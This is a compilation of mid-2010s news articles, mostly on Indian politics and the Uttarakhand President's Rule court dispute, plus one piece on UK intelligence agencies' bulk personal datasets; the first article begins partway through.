That would certainly pose a severe problem for the negotiators but taking a lesson from the Chinas experience (of resolving 12 of 14 land boundary disputes), probably it could be put aside, the situation demilitarised and frozen for a future, wiser generation to resolve, he said.

Maxwell said the process has to be done in a spirit of mutual compromise.

This spirit clearly has to be shown by China as well.

Compared with a decade ago, we are not closer to settling the issue However, both sides could make some new efforts like exchanging Line of Actual Control maps based on realistic grounds, Hu Shisheng, South Asia expert at the influential China Institutes of Contemporary International Relations, told HT.

Hu added that a few trans-Himalayan development projects between China, India and other South Asian countries could be constructive in creating a favourable environment for support for a final settlement approach or policy in China and India.

The key is mutual trust, said Wei Ling from the prestigious China University of Political Science and Law.
India will need $250 billion in the next five to six years and $1 trillion by 2030, a scale of investment unparalleled anywhere in the world, to fuel its race to provide energy for its people and help lift masses out of poverty, according to Piyush Goyal, the minister for coal, power and new and renewable energy.

Goyal, who is on a mission to drum up investments in the energy sector, told reporters on Thursday India will be the largest market for energy with its goal of quadrupling by 2030 the current consumption of 1,050 units per person.

Savvy investors will see the opportunities India has to offer them in the energy as the United States, Europe and Japan are seeing an economic slowdown coupled with a lowering of demand because of greater efficiencies in consumption, he said.

Prime Minister Narendra Modi has set a goal of having 175 gigawatts (GW) of renewable energy by 2022, of which 100 GW is to come from solar, Goyal said. India has made strides towards achieving that target and 21 GW of solar energy is to come on line over the next seven to eight months, he said.

He said that he had met investors in Britain and visited the London Stock Exchange to showcase the investment opportunities and was to hold discussions with investors here.

While India sought investments in all energy spheres, its quest for energy efficiency - and through it cleaner environment and carbon emission reduction goals - opened up other areas, he said. As an example, he cited the program to replace the 20 million agricultural pumps, many of them run on diesel, with more efficient and less polluting models, which could save the equivalent of 70 billion units of electricity.

Besides solar energy, India was also developing hydropower, power generation using waste water and waste, and wind power Cutting off finance for coal plants will be counterproductive for the environment as coal will continue to play an important role in helping meet the United Nations Sustainable Development Goals (SDG) of providing billions of people around the world needing access to power, Goyal said.

Despite the massive investments in renewable energy, India will also depend on coal especially for baseline needs to ensure power availability when other sources become unavailable, Goyal said.

If financing for newer plants are not available, developing countries will continue to run the old, inefficient and polluting power plants instead of upgrading to modern power generation plants that use coal efficiently and cleanly, he said.

The World Bank and others providing development assistance to developing countries have announced policies that would stop funding coal and other fossil fuel-based electricity plants.

India was working with a university in Australia on clean coal projects, he said. New Delhi planned to collaborate with the Massachusetts Institute of Technology on research on clean coal, he added.

Goyal said that India was taking a leading role globally in helping spread solar technology among developing countries through the International Solar Alliance it is spearheading with France.

Many of the developing countries have not yet been able to take advantage of their solar bounties because they lack the technologies and financing, Goyal said. With its advances in harnessing solar power, India was in a position to help them overcome these hurdles and for this had set up with France the International Solar Alliance, he added.

In January French President Francois Hollande and Modi laid the foundation stone for the ISA headquarters at Gurgaon. About 120 countries are participating in it.

On Friday Goyal and French Environment and Energy Minister Segolene Royale will be hosting a high-level meeting on the ISA on the sidelines of the signing ceremony for the Paris Climate Change agreement.
New York

India has lined up half a dozen or more applications for the UN Security Council committee which sanctions terrorists that will test Chinas resolve to stand in the way as it has in the case of Jaish-e-Mohammed chief Masood Azhar.

India plans to begin moving the applications one by one if efforts currently under way to ascertain Chinese objections to the Azhar designation, in order to deal with them, fail.

They cant keep putting a hold on every application that we move, said a source. It will make them look terrible on terrorism, and may even portray them as supporting it.

No details are available about these applications  which are about other individuals and groups and which India would have moved at some stage any way  and when they will be taken up.

Late last month, China put a technical hold on Indias application to sanction Azhar before the UN Security Council committee pursuant to resolutions 1267 (1999), 1989 (2011), and 2253 (2015) concerning the Islamic State, al Qaeda and associated individuals, groups, undertakings and entities.

The panel designates terrorists with links to al Qaeda and the IS.

India had expected this to be uncomplicated and easy given the recent attack by JeM, which is headed by Azhar, on Pathankot airbase that killed seven security personnel.

The designation would have enjoined UN members to freeze all assets owned by Azhar, refuse him entry or exit and not supply to him any arms and weapons.

JeM itself was designated in 2001 and several operatives and organisations associated with the group have been on the UNs blacklist, leaving no one in doubt about its activities.

China put a hold at the last minute. It has by way of explanation, in the words of its ambassador in Delhi. We felt that the information provided by India to the UN was inadequate, that is why we placed a technical hold a temporary measure, the envoy said.

Beijing has not specified what more it wants to know. Another official of the Chinese embassy in Delhi told a reporter recently India should take it up with Pakistan. JeM is based in Pakistan and enjoys support and patronage from the security establishment.

A source said it was ridiculous to suggest India should discuss this with Pakistan. We have made our case, and successfully, to the 14 members of the 15-member committee and now we go to a 16th country outside the committee?

But India is not giving up. External affairs minister Sushma Swaraj and defence minister Manohar Parrikar raised Azhar with their Chinese counterparts during recent meetings, as did National Security Adviser Ajit Doval.
An Indian-origin former CIA officer is facing extradition from Portugal to Italy and a possible four-year jail term for her alleged role in the American intelligence agencys abduction of an Egyptian cleric in 2003 from Milan, according to a media report.

Sabrina De Sousa, 60, who has a dual citizenship of the US and Portugal, told The Washington Post that she played no role in Omars kidnapping. She lives in Portugal while her 90-year- old mother lives in India.

She was among 26 Americans convicted in absentia by Italian courts for her alleged role in the February 2003 rendition of Egyptian cleric Hassan Mustafa Osama Nasr, also known as Abu Omar.

She faces no threat for imprisonment in Italy as she moved back to the US long before the Italian trial began. However, she was detained in Lisbon last year by Portugal authorities in response to a European arrest warrant.

This week, Portugals highest court upheld the countrys lower courts rulings, declared that they did not violate the constitution, and said De Sousa should be sent to Italy as soon as May 4, the Post reported yesterday.

At the same time, Portugals Constitutional Court also reiterated a condition set by the lower courts and guaranteed by Italy in De Sousas European arrest warrant that once she arrives in Italy, she must be given another trial or a chance to appeal with new evidence, and the ability to call Italian and US witnesses, because she had been tried in absentia, the daily reported.

De Sousas extradition and potential imprisonment would be an astonishing turn of events for a case that raises major questions about how much diplomatic protection CIA case officers abroad possess when carrying out operations sanctioned by their superiors, the paper said.

Benjamin Fischer, a former CIA chief historian, described this as unprecedented. In her interview to the daily, she rued that the CIA is not helping her. CIA declined to comment.

Those of us who were convicted were accredited diplomats and declared to the Italian government. We instead find ourselves treated like NOCs with our US government affiliation disavowed.

I would have never joined the CIA if I was told there was a remote possibility that I would never see my mother in Goa again and not travel abroad. This has set a terrible precedent. This rendition was funded by Congress with approval of senior government officials in the US, Italy and Egypt, De Sousa said.

It all began on February 17, 2003 when a team of CIA agents in Milan swooped down on Omar, as he walked from his apartment. He was flown to Egypt, where he was interrogated and released later. In 2005 reports surfaced that CIA officers had allegedly broken local laws against detaining terrorist suspects in Europe.

De Sousa resigned in 2009 after she failed in her efforts to persuade the State Department to grant her immunity.

According to a 2012 report in Caravan, Sabrina grew up in Mumbai. She married a US diplomat in 1985 when she changed her citizenship. They divorced in 1996.
An Indian temple trust was among nine patrons awarded in Singapore for lending its exquisite century-old deity jewellery on loan for 10 years to Indian Heritage Centre and helping provide greater insight into Indian culture.

The jewellery which includes a necklace made of rubies, emeralds, diamonds and a gem-studded crown was loaned by Saigon Chettiars Temple Trust and came from Thendayuthapani Temple which was established 200 years ago in Saigon (Ho Chi Minh City).

The Saigon Chettiars Temple Trust has strengthened the IHCs storyline with its loan of beautiful deity jewellery, which gives us greater insight into the many perspectives of Indian culture, said Singapores Minister of Culture, Community and Youth Grace Fu, who gave away distinguished supporter of heritage award to the trust.

The jewellery is on loan for 10 years, said Ashwin Muthiah, who represented the trust at the award ceremony held on Thursday.

The jewellery came from Nagaratas, also known as Nattukottai Chettiars, sometimes in 1900 or before for deities at the The Thendayuthapani temple, established about 200 years ago, said Muthiah, executive chairman of AM International Holdings Pte Ltd.

The High Commission of India in Singapore was given a Supporter award for donation of Bronze Busts of Indian Leaders to the Indian Heritage Centre (IHC).

Former Singapore President S R Nathan was also awarded for contributing a Group of Indian National Army Related Photographs and Publications.

Shirin and Rustom Ghadiali were also honoured for lending Parsi Silver Ritual objects and Sarjit Singh for offering Collection of Artefacts pertinent to the Sikh Police and Armed Forces in Singapore and Malaya.

Others honoured with awards were R Gangatharan Davar, Leaena Tambyah and Gayatri Roy for their contribution and lending of Indian artefacts from their ancestors to the IHC.

Prime Minister of Singapore Lee Hsien Loong inaugurated the IHC on May 7 last year in the heart of Little India, a colourful, thriving neighbourhood that caters predominantly to the Tamils and Chinese.

Blending both traditional and modern Indian architectural aspects, the IHC celebrates many contributions of the Indian community to Singaporean society.
Gold bars worth Rs 98 lakh were seized by Directorate of Revenue Intelligence officials from a passenger who arrived at nearby Karipur international airport from Riyadh.

Rafeeq (32), who arrived here from Riyadh by an Etihad Airlines flight, was intercepted outside the airport and 28 gold bars, each weighing 116.7 grams recovered from his bagagge, Salim, Intelligence Officer of DRI, Kozhikode, said.

The gold bars had been concealed inside the battery compartment of an emergency lamp in his baggage, he said. Two persons who came to receive him in a car were also apprehended and Rs four lakh in cash was seized from the vehicle, he said.
The BJP has pulled out all stops to portray Harish Rawat as the villain of Uttarakhand politics, but that didnt stop the Congress leader from playing the protagonist in a real-life rendition of the Anil Kapoor-starrer Nayak  the tale of the one-day chief minister.

In the 2001 film -- a remake of Tamil movie Mudhalvan -- Kapoor charms audiences with rapid-fire decisions as a chief minister who battles a host of problems afflicting the people of his state. A journalist by profession, Kapoor takes up a challenge thrown at him by Amrish Puri to make a difference from his CMs chair within a day.

Rawats second stint as the Uttarakhand chief minister on Thursday barely lasted 24 hours, the shortest in Indias history. But during that period, Rawat held two cabinet meetings and took 11 populist decisions indicating that his party could be getting ready for snap polls.

Almost everything about the way in which Rawat made his comeback to the CM chair and vacated it was as dramatic as the movie.

If you think drawing a parallel between Rawat and Kapoor is outlandish, think again. In 2014, Rawat said he was inspired by Kapoors character in Nayak. Inspired by the role of Anil Kapoor in the film Nayak, I inaugurated more than 1,800 schemes in a single day.

On Thursday, Rawats longstanding inspiration of bringing Nayak to life came true. Here is his tumultuous journey since the beginning of the Uttarakhand political crisis and his one-day stint as the CM, in GIFs:

Betrayal from within

via GIPHY

Rawats troubles began when nine MLAs of his party backed the BJP. The rebel lawmakers  led by former chief minister Vijay Bahuguna  supported the BJP legislators demand for a conscience vote at the assemblys budget session on March 18.

Read: Uttarakhand crisis: Nine Congress rebel MLAs hold key

Licking his wounds

via GIPHY

A day after his government was removed, Rawat moved the Uttarakhand high court, challenging the imposition of Presidents Rule in the state. He also paraded 34 MLAs before Governor KK Paul to claim he had majority in the assembly.

Not afraid of getting down and dirty

via GIPHY

The rebel Congress MLAs released a video of sting operation purportedly showing Rawat offering them bribes for support during a floor test in the assembly. Rawat said the unholy alliance led by Prime Minister Narendra Modi and BJP chief Amit Shah was behind the sting.

Clinching the coveted CM post for a day

via GIPHY

In a big blow to the BJP-led central government, the Uttarakhand high court on Thursday set aside Presidents Rule in the state, restoring Rawat as the chief minister, nearly a month after he was ousted.

The Nayak journey begins, and ends

Hours after Rawat resumed charge on Thursday, the Uttarakhand cabinet gave its nod to several proposals including re-appointment of more than 6,000 temporary teachers on a monthly stipend of Rs 15,000.

Before the meeting, Rawat also sat on a token strike in support of the teachers, whose appointments were revoked by the governor.

Besides, the former chief minister hiked all social pensions by Rs 200, a move which will benefit nearly seven lakh people. Officials said the hike will put an additional burden of Rs 13.5 crores on the exchequer.

via GIPHY

The cabinet also brought in two ordinances on land consolidation and regularisation of slums, also likely to benefit a large number of people. The Rawat government had failed to pass the two bills on land consolidation and regularisation after nine Congress MLAs sided with the BJP during the assemblys budget session in March.

Officials said the cabinet cleared allocation of Rs 5 crore each to all the 13 districts in the state, set up a committee under the finance minister for revision of circle rates of land and decided that all state-run colleges will function in morning and evening shifts.

However, Rawats stint as the CM ended on Friday when the Supreme Court ordered that the Uttarakhand high courts verdict removing Presidents Rule be kept in abeyance till April 27.
A centuries-old feud between two royal households in Andhra Pradesh has ended with the scion of the Bobbili dynasty joining the ruling Telugu Desam Party (TDP) after burying differences with descendants of the Vizianagaram royalty, who are TDP members.

Sujay Krishna Ranga Rao is the latest of 11 MLAs to have crossed over from the opposition YSR Congress to join chief minister N Chadrababu Naidu in the past two months. Interestingly, Union minister for civil aviation, P Ashok Gajapathi Raju  a TDP member and descendent of the Vizianagaram dynasty  was instrumental in Raos induction. For his part, Rao claimed he changed camps as he wanted development.

Andhra Pradesh chief minister N Chandrababu Naidu (centre) flanked by Sujai Krishna Ranga Rao of Bobbili (left) and Union civil aviation minister P Ashok Gajapati Raju (right).

The bitter rivalry between the families dates back to the Battle of Bobbili in 1757 when Vizianagaram king, Raja Vijayarama Raju, helped the French attack the Bobbili Fort. Bobbili troops repulsed the attack twice, but the fort finally fell in the third assault. Many members of the Bobbili royalty chose to commit suicide rather than surrender.

The battle remains a significant episode in the history of south India, with the valour of Bobbili fighters becoming part of Telugu folklore.

The hostility has lingered over generations, spilling into politics in post-independent India where each family, which wields a sizeable influence in north coastal Andhra, has chosen to back rival political parties. Until three days ago.

Raju, a confidant of Naidu, apparently met Rao and the two agreed to work together. Given their individual reach, analysts reckon their combined force will make for a strong political team in the region, and could be the TDPs solution to counter the YSR Congress led by M Jagan Mohan Reddy.

Raos defection is also seen as a huge success in the TDPs efforts to poach opposition legislators. Many party functionaries at the division and mandal level in Vizianagaram reportedly walked out of the YSR Congress following Raos exit.
The Uttarakhand High Court on Thursday quashed the Presidents rule on Thursday, restoring Congress leader Harish Rawat as the chief minister, nearly a month after he was ousted.

The court came down heavily on the central government for its March 27 move to dismiss Rawat under the much-contested article 356 that empowers the union cabinet to impose Presidents Rule in a state.

The case brings to the fore a situation where 356 has been used contrary to the law, said the bench of Chief Justice K.M. Joseph and Justice VK Bist, adding the article should only be used as a last resort.

The proclamation of March 27 stands quashed, said the court in the status quo ante order, meaning the previously existing state of affairs was being restored.

Here is what the court said during consecutive hearing since Monday.

-The Governor is not an agent of the central government

-It is the first time in the history of India that a double whammy was being committed under article 356 of hitting the authority of the Governor and the speaker

-In no circumstances can a solitary instance be material enough for imposing article 356.

-There have been instances of thick skinned governments in India lingering on. Besides the option of president rule, is the floor test not the best option to check whether they enjoy majority or not.

-If corruption was to be taken into account, hardly any government would be able to complete its 5 year term in India

-It was said that speaker had taken partisan attitude in case of Arya .It was completely non existential. We are shocked that in a matter which engages the council and the court was a blatant falsehood.

-Sitting in Delhi, the union cabinet and President cannot rely on anything else than the Governors report. What is there in Governors report that is speaking of urgency of imposing President rule.

-There is no absolutism, President is not King. The President can be an excellent person but he can be terribly wrong, judges can also be terribly wrong.

Crisis peaked on March 18

The crisis peaked on March 18 when the assembly passed the budget Appropriation Bill by voice vote even as the opposition, including the rebel Congress members, sought recorded voting. But Speaker Govind Kunjwal declined the request, leading the BJP to cry foul.

Rawat was then asked by Governor K.K. Paul to prove his majority on March 28. Just a day before, the central government ousted the Rawat-led government by imposing Presidents Rule. Rawat immediately went to court.

On Thursday, Rawat said the ruling to restore his government had begun a new phase in the state and asked the Modi government to honour its stated policy of cooperative federalism.

Who said what on the HC verdict

The BJP claimed the court ruling was not a surprise.

Its general secretary and Uttarakhand affairs in charge Kailash Vijayvargiya, who played a key role in the developments leading to Rawats ouster, insisted that Rawat wont be able to prove his majority.

We will prove on April 29 that (the Rawat government) was and is in minority, he said in New Delhi.

After ouster of Rawat, Vijayvargiya had claimed that Congress-led governments in Himachal Pradesh and Manipur were on their way out -- like it happened earlier in Arunachal Pradesh.

But another senior BJP leader, Subramanian Swamy, slammed Attorney General Mukul Rohatgi and Solicitor General Ranjit Kumar for the fiasco.

Time to get a new AG and SG for the BJP government... We can win the Uttarakhand case, Swamy tweeted.

At the end of hectic parleys between top BJP leaders including BJP chief Amit Shah and union ministers Arun Jaitley and Rajnath Singh in the capital, the government decided to move the Supreme Court to challenge the ruling of two-member bench of the High Court.

We will move the Supreme Court tomorrow at 10.30 am and urge the court to hear the matter urgently, Attorney General Mukul Rohatgi said.

An overjoyed Congress called the court ruling a victory for democracy and the judicial system to whom alone aggrieved citizens can turn for relief.

The imposition of Presidents Rule was unconstitutional, spokesman Abishek Singhvi said in New Delhi.

Delhi Chief Minister Arvind Kejriwal said the court verdict was a huge embarrassment to the Modi government.

Till now the Modi government used to declare our orders null and void. Today, the high court has declared their order null and void.

Experts were divided on the verdicts implications

Former Rajya Sabha MP and noted columnist Kuldip Nayyar said that the decision is welcome and it will strengthen democratic institutions and constitutional propriety. The ruling makes it clear that Harish Rawat was wrongly removed as chief minister. His position as the leader of the house and the chief minister has been restored now.

On the other hand, there were others, who disagreed on Rawats current status pending revocation of the Presidents Rule by the governor or the president, and said the court has recommendation powers and the executive can abide by it or has the liberty to challenge it in a higher court.
Privacy International won a lawsuit forcing the UK government to publish thousands of pages of records on the use of "Bulk Personal Datasets" by the spy agencies GCHQ, MI5 and MI6.

The document dump reveals that the spies hold data on millions of Britons who are suspected of no wrongdoing, including records on dead people who cannot possibly pose a threat to national security. These records, which include "private medical records, your correspondence with your doctor or lawyer, even what petitions you have signed, your financial data, and commercial activities," are safeguarded through self-regulating systems that are laughable in their tragic lack of seriousness.

For spies to search these records, they need only select an item from a "Purpose" menu (with choices like "National Security," "Economic Wellbeing" and "Serious Crime") and type a sentence or two into a field labeled "Justification." The spy agencies report that this system is literally never subject to serious abuse, reporting that from 2014 to 2016, "no officers had been prosecuted, none had been dismissed, and only five had been 'subject to disciplinary procedures.'" Those are some trustworthy spies! I guess it's all right that they're watching themselves, then.

The dump comes just as the debate over the controversial domestic spying law, the Snoopers Charter, is reaching a climax. The Snoopers Charter will bring a lot of this activity under firmer legal footing  but without any more safeguards or proportionality.

That seems to be where we're headed in the UK with the new Investigatory Powers Bill (IPB), which would normalise this indiscriminate spying. The new documents reveal that the UK intelligence services have been engaged in mass surveillance since at least 2001. Now they want more. "The agencies have been doing this for 15 years in secret and are now quietly trying to put these powers on the statute books for the first time," Woods said, "in the Investigatory Powers Bill, which is currently being debated in Parliament." Privacy International filed the lawsuit in June of last year, challenging the legality of Bulk Personal Datasets, which were first mentioned in a March 2015 report. The court then heard the case in secret, barring Privacy International from sending legal counsel and, after secret deliberation, ordered these documents to be released. Our requests for comment to the collective UK intelligence services went to /dev/null. The Home Office press office, which handles media requests for MI5, did not answer our phone calls. The FCO press office, which handles media enquiries for the SIS, did not answer our e-mailed request for comment. GCHQ did not answer our e-mail requesting comment.

UK intel agencies spy indiscriminately on millions of innocent folks

[JM Porup/Ars Technica]





REVEALED: Privacy International Releases Trove of Documents That Proves Staggering Reach of Surveillance Agencies

[Privacy International]

(via /.)

(Image: Petr Kratochvil)
The Indian Army, as part of project Sadbhavna, has taken over 130 students from Mumbai schools on an adventure tour of the border areas in Jammu and Kashmir, to let them interact with war veterans and even try out the firearms and border patrolling.

Spokesperson of the armys Udhampur headquartered Northern Command, Colonel SD Goswami told IANS in Jammu city: Students from different schools of Mumbai are on a tour to Jammu and Kashmir these days.

The tour sponsored by the army under its project Sadbhavna aims to showcase the sacrifice and commitment undertaken by the army in J&K, he said.

The national integration tour comprising of 136 students of Classes 6 to 9 along with 19 teachers and four principals from different schools across Mumbai have visited Army Goodwill School, Hall of Fame at Rajouri, and Corps Battle School, Sarol, during the last few days, he said.

Col Goswami said: The students carried out small arms firing, obstacle training and witnessed various activities like a ride on the army tank, display of arms and weapons, equipment, including demonstration on management and potential of dogs in the army.

The students witnessed and gained first-hand knowledge on exposure to the challenges faced by soldiers on the Line of Control (LoC), casualty evacuation drills, and bunker clearing drills as part of infantry operations, he added.

The students also went trekking in the higher reaches of the Pir Panjal range, they went on a treasure hunt, played tug of war, and participated in debate and quiz competitions. A briefing on the operational success of Rashtriya Rifles was organised for them.

They were shown movies on humanitarian and social development activities under Sadbhavna. A campfire was held in the evening which gave the students an insight into a soldiers life, the official said.

An interaction with honorary lieutenant (retired) Santan Singh, Vir Chakra, a war veteran filled the students with a sense of pride. Ninety-two-year-old Lieutenant Santan Singh of 9 JAK RIF participated in 1948 and the 1965 Indo-Pak Wars, Col. Goswami said.

He was awarded Vir Chakra for his gallantry during the 1948 Indo-Pak war in which he had destroyed enemy position by his swift and heroic actions even while being under heavy enemy fire.
Countering Prime Minister Narendra Modis Chai pe Charcha, Congressmen coined the new Chane pe Charcha in Amethi as party vice president Rahul Gandhi interacted with party workers over laiyya-chana - a staple snack in this part of Uttar Pradesh.

Gandhi on Thursday held an open house session with his partymen and assured them that he would soon take up tours across the state to galvanise the party.

Gandhi said that the party would allot tickets at least six months before the assembly elections.

The partymen lauded Gandhi for raising issues of public interest and targeting the Modi government for failing to keep promises made before the Lok Sabha elections. The industry representatives of his constituency pointed out that at least 80 percent of industrial units in Amethi had become sick and were on the verge of closure due to the apathy of the NDA government.

The Indian Industries Association in Amethi has 7,000 micro-small and medium enterprises (MSMEs) as its members. Jagdishpur industrial area which was set up during the tenure of former prime minister late Rajiv Gandhi has 250 working units. Most of these units are in a bad condition, said chairman of IIA, Amethi chapter, Shahnawaz Ahmed.

Gandhi has assured us that a meeting of the representatives of industrial units in his constituency would be held soon and their problems would be taken up with the central government, he said.

Though Gandhi has been meeting the people of his constituency every time he visits Amethi  this was the first time when an open house was organised (away from Munshiganj guest house) at A local party office.

This was Rahul Gandhis first open house with the partymen and the people. He will hold more such interactions with them to take feedback from them about various programmes, said a senior party leader.

At least two persons sustained minor injuries as a tent fell down at the venue due to strong winds. The tent had been erected to prepare a makeshift waiting room for the people.

Gandhi later held a chaupal at the house of Ravindra Singh, a resident of Gauraha village, whose wife is the village head. As gur (jaggery) and chana (roasted gram) were distributed among the people, the interaction was called chane pe charcha as a reply to Prime Minister Narendra Modis chai pe charcha programmes.

Before winding up his two-day visit, the Congress vice-president went from village to village to meet partymen, pay condolences and attend some social programmes . He is expected to visit Amethi next month to take part in a training programme.

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The Supreme Court stayed until April 27 an Uttarakhand high court order that had revoked Presidents Rule in the state, handing a reprieve to the Narendra Modi-led government on Friday.

After an hour-long hearing of a Centres petition challenging Thursdays high court order, the top court said it was keeping the verdict in abeyance in absence of a copy of the ruling.

You dont revoke Presidents rule just like that. The files should have been called for. How much deliberation has gone into the issue? This is a serious matter, a bench of justices Dipak Misra and Shiva Kirti Singh said.

The SC stay came after attorney general Mukul Rohatgi gave an undertaking that the Centre will not revoke Presidents rule until April 27.

The interim order means central rule returns to the hill state and the Harish Rawat-led Congress government would not be able to make any decisions for now.

Read | Rawats suo motu taking charge as Uttarakhand CM illegal, says BJP

Though the top courts order comes as a relief to the Centre, it is unlikely to stop the Congress-led opposition from launching a frontal attack on the Modi government when Parliament reconvenes on Monday . The Congress accuses the BJP of trying to topple opposition-ruled states.

Congress president Sonia Gandhi met her trusted lieutenants on Thursday to discuss the partys strategy after the high court verdict.

Congress leaders told HT that there was no question of supporting the government on any issue including the crucial GST bill after the BJPs assault on democratically-elected state governments.

Read | Even President can be wrong, Uttarakhand HC tells Centre

Rawats government plunged into crisis after nine of his MLAs revolted and sided with the opposition BJP during a debate over the state budget in March. This prompted governor KK Paul to ask Rawat to prove his majority in the assembly. But a day before the trust vote, the Centre imposed Presidents Rule, citing breakdown in the constitutional machinery.

The apex court also directed the HC, which had asked Rawat to prove his governments majority on April 29, to provide a copy of its order to all concerned by April 26. Dictated in open court, the HC order is yet to be signed by the judges who delivered it.

The Supreme Court bench indicated that the matter might be referred to a constitution bench.

Rohatgi said Rawat took over as the chief minister within hours of the HC order, held cabinet meetings and took 11 policy decisions without even getting the documents revoking Presidents Rule.

Horse trading creates a dent in democracy, the bench remarked when Rohatgi alleged that there was a constitutional breakdown because Rawat indulged in corruption.

Read | Why Presidents Rule in 5th yr of Rawat rule, Uttarakhand HC asks Centre

Senior counsel Abhishek Manu Singhvi, who pleaded on behalf of Rawat, denied the horse-trading allegations and opposed a stay on the HC order.

Arguing for the Uttarakhand assembly speaker, senior advocate Kapil Sibal objected to the interim order, which he said will amount to allowing Centres appeal.

The SC, however, refused to hear the rebel Congress lawmakers petition seeking transfer of their cases pending before the HC where they have challenged their disqualification.

Reacting to the Supreme Court stay, Rawat sought to put up a brave front. This order is interim because the SC didnt have the high courts judgment copy, he told reporters.

The state is facing a huge issue. Until the SC makes a final judgment, Presidents Rule cant be revoked, he added.

BJP general secretary Kailash Vijayvargiya said the party was confident of having its way in the state but added it was in no hurry to form the government.

Also read| SC stays Uttarakhand HC order till April 27: Who said what

Also read | An avoidable political-judicial tussle in Uttarakhand

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From horse to high court, the Bharatiya Janata Partys (BJP) strategy in the hill state of Uttarakhand appears to have fallen off the cliff.

On March 14, BJP organised its biggest protest against Harish Rawat government in Dehradun but all the good work was in vain as the party legislator Ganesh Joshi allegedly assaulted the police horse Shaktiman, critically injuring him.

Shaktiman returned to haunt BJP with his death on Wednesday as Union women and child development minister Maneka Gandhi demanded that Joshi should be booked for killing a police officer on duty. Even as the BJP was battling with her stinging remarks, the Uttarakhand high court served a blow on Thursday by revoking the Presidents rule  dashing any hope of the party to form the government in the state in near future.

Activists pay tribute to the police horse 'Shaktiman' who died after being injured during a BJP rally in Uttarakhand, in New Delhi. (AFP Photo)

The series of meeting in Delhi in the last two days indicated keenness on BJPs part to stake claim to form the government thinking a rule of less than a year (election slated by February 2017) can turn tables in its favour.

Read | HC quashes Prez Rule in Uttarakhand, Centre to appeal order in SC today

But, the BJP failed to anticipate that the Centres arguments in favour of the Presidents rule before the division bench headed by Chief Justice KM Joseph will not hold much ground.

The Centre failed to present any material evidence before the court on how the constitutional machinery in the state had failed.

Governor KK Paul had submitted eight reports to the home ministry on the political situation in the state after March 18, when nine rebel Congress legislators joined hands with the BJP to demand conscience vote on the state budget.

In the pandemonium, speaker Govind Singh Kunjwal declared the budget was passed but the BJP and rebels questioned the speakers decision. Paul asked Rawat to prove majority on floor of the house on March 28.

The governor, in his reports, termed political situation volatile but never recommended imposition of the Central rule and that was apparently the ground taken by the court to revoke the Presidents rule.

The court on Thursday was willing to provide a window by asking the Centre to give an undertaking that it will not revoke the Presidents rule for a week. The Centre was unwilling probably because Parliament was resuming work from April 25.

Once the session starts, the Centre will have to seek approval for imposition of the Presidents Rule from Parliament, including the Rajya Sabha where it is in minority. The opposition will leave no stone unturned to embarrass the government in the upper house by getting the Central proclamation defeated. The Centres hope is the Supreme Court where it will challenge the high court order in the next few days.

Read | BJP red-faced as Congress gets upper hand after Uttarakhand HC order

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A 48-year old sanitary inspector has been sentenced to ten years rigorous imprisonment by a court in Salem for sexually assaulting a girl in 2013.

Mahila court judge, R Vijayakumari, on Thursday, awarded the sentence to Sengottaiyan under the provisions of Protection of Children from Sexual Offences (POCSO) Act and imposed a fine of Rs 10,000.

According to the prosecution, the accused had lured the five-year-old girl, his neighbour, by offering chocolate and sexually assaulted her at his house in Kalvadangam village in February 2013.

After a complaint from the girls parents, Theyyur police had registered a case against Sengottaiyan under POCSO and arrested him.
Bhumata Brigade chief Trupti Desai and other women activists offered prayers at the inner sanctum of the Nashiks Trimbakeshwar temple, where the entry of women devotees inside the sanctum sanctorum had been prohibited.

Desais entry into the inner sanctum comes a day after activists, led by Vanita Gutte of Pune-based Swarajya Mahila Sanghatana, prayed inside the garbha griha of the shrine that is dedicated to Lord Shiva and is one of the 12 Jyotirlingas in the country.

Bhumata Brigade activists have been protesting against the ban on entry of women inside temples.

Their agitations forced authorities of the Shani Shingnapur temple in Ahmednagar to yield to their demands earlier this month and allow women into the sanctum of the shrine.

Desai vowed to continue her fight against the differential treatment meted out to women at religious places.

The way we were allowed to offer prayers at the inner sanctum today, women should be allowed respectfully in all temples across the nation.We will take our fight to a national level and meet Prime Minister Modi next month, Desai said.

This significant development came 13 days after women were permitted entry to the Shani Shingnapur temple in Ahmednagar district on April 8.

During the hearing on the Shani Shingnapur issue, the Bombay high court had ruled that entering a temple was a fundamental right of every person, after which the temple trust decided to allow women inside its premises.
The Bharatiya Janata Party is having a hard time cobbling together numbers to stake claim to the Uttarakhand assembly where it needs at least four more legislators to support it to form the government.

The partys fate hinges on what the Nainital high court will decide on Saturday when it hears the pleas of nine disqualified Congress MLAs. These rebel MLAs have revolted against deposed chief minister Harish Rawat and are currently on the BJPs side.

If their disqualification is set aside, we will have an upper hand in the assembly of 71 MLAs, a BJP leader said. Else, the effective strength of the house would come down to 62, where the BJP (27 MLAs) will be four short of the magic figure.

BJP is seeking support of the Progressive Democratic Front that includes Independents (3), Bahujan Samaj Party (2), and Uttarakhand Kranti Dal (1).

BJP leaders admit that Rawat has an upper hand at the moment and they have not been able to secure the support of four other legislators. We are working this out, a BJP leader said, adding that party leader Satpal Maharaj, also a spiritual leader, is approaching his friends in the PDF and the Congress.

Maharaj is a former Congress MP and nurses chief ministerial ambition. But with Lok Sabha member Bhagwat Singh Koshyari as BJPs first choice for the CMs post, Maharaj appears to be getting cold feet.

The BJP dismissed the Congress charge that it engineered trouble in Uttarakhand. If your former CM (Vijay Bahuguna) and leader of opposition for five years (Harak Singh Rawat) are not being able to live with you, you blame BJP for it, BJP spokesman Sudhanshu Trivedi said.

Citing examples of Sharad Pawar, ND Tiwari and Arjun Singh, the BJP leader said the opposition gets divided every time it gets out of power.
Nine rebel Congress legislators who triggered Uttarakhands political uncertainty by backing the BJP were back in focus on Friday with experts saying the MLAs held the key to winning a trust vote in the state assembly.

The rebels backed the Supreme Courts decision to block a high court judgment that revoked Presidents Rule in Uttarakhand.

The MLAs said the Congress government was reduced to a minority in March when they switched sides during the controversial passage of the state budget.

The apex court has taken right step. The Harish Rawat government was in minority after 35 MLAs demanded division of votes on appropriation bill on March 18, said former Congress minister and rebel MLA Harak Singh Rawat.

Read: SC stays Uttarakhand HC order which set aside Presidents Rule in state

The nine have been disqualified from the assembly under the anti-defection law but eight of them have challenged the speakers decision in the Uttarakhand high court. The petition will be heard on Saturday.

The rebels say they are watching the unfolding political developments closely and wont give up the fight.

We will pursue our issue till we get justice. The case is pending before Justice UC Dhyani bench and we are hopeful the decision will come in our favour, Harak Singh Rawat told HT.

The flamboyant legislator added that they would appeal against any unfavourable decision in the division bench of the high court.

